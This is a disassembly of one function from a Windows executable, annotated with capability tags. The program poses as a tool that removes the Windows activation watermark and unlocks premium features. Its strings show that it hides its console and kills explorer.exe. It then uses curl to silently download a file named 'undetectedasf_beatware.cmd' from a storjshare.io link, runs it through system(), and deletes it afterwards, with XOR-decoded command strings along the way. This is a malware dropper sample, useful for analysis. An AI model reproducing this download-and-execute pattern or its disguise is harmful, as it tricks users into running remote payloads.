Function at 0x140004480
Capabilities:
Delete file
Encode data using xor
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x3e8]
sub rsp, 0x4e0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14008b080]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
lea rcx, [0x14007f53c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x20]
call fcn.1400048b0
mov r9, rax
mov edi, 5
cmp byte [rax + 7], 0
je 0x14000461e
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400045ec
movdqa xmm4, xmmword [0x140080330]
movd xmm5, edi
mov eax, Ordinal_32
movd xmm6, eax
movdqa xmm2, xmmword [0x1400802e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140080300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140080310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x1400802f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140080300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140080310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
jmp 0x14000461e
mov r8, r9
nop
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 8
jl 0x1400045f0
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_38_2_10_70_209m
lea rcx, [rbp + 0x3a0]
call fcn.140002fe0
nop
lea rcx, [rsp + 0x20]
call fcn.140008f50
mov rcx, rax
call fcn.140008e70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea r8, [rbp + 0x3a0]
lea rdx, str.e_0m_n_n_n__________________
lea rcx, [rbp + 0x40]
call fcn.1400094f0
nop
lea r8, [0x14007fb70]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140009650
nop
lea r8, str.e_0m
mov rdx, rax
lea rcx, [rbp]
call fcn.140009650
nop
lea r8, [0x14007fb6c]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140009650
nop
lea r8, str.e_0m
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140009650
nop
lea r8, str._This_eradicates_the_Windows_watermark_and_grants_access_to_all_premium_Windows_features
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140009650
nop
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400096c0
nop
lea r8, [0x14007fb0c]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140009650
nop
lea r8, str.e_0m
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140009650
nop
lea r8, [0x14007f388]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140009650
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140003cc0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140003ce0
nop
lea rcx, [rbp + 0x60]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x20]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x40]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x60]
call fcn.140002ef0
nop
lea rcx, [rbp - 0x80]
call fcn.140002ef0
nop
lea rcx, [rbp - 0x60]
call fcn.140002ef0
nop
lea rcx, [rbp - 0x40]
call fcn.140002ef0
nop
lea rcx, [rbp - 0x20]
call fcn.140002ef0
nop
lea rcx, [rbp]
call fcn.140002ef0
nop
lea rcx, [rbp + 0x20]
call fcn.140002ef0
nop
lea rcx, [rbp + 0x40]
call fcn.140002ef0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14007f53c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.TASKKILL__F__IM_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.curl_https:__link.storjshare.io_s_jw56xsqvomsbxkzwme747wsz56eq_undetectedasf_beatware.cmd_download1__o_C:Temp_beatware.cmd___silent
lea rcx, [rbp + 0x100]
call fcn.140008de0
mov rcx, rax
call fcn.140008d60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x90]
call fcn.140008cc0
mov rcx, rax
call fcn.140008750
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x20]
call fcn.140008730
mov rcx, rax
call fcn.140008650
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Temp_beatware.cmd
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, edi
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140003d70
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3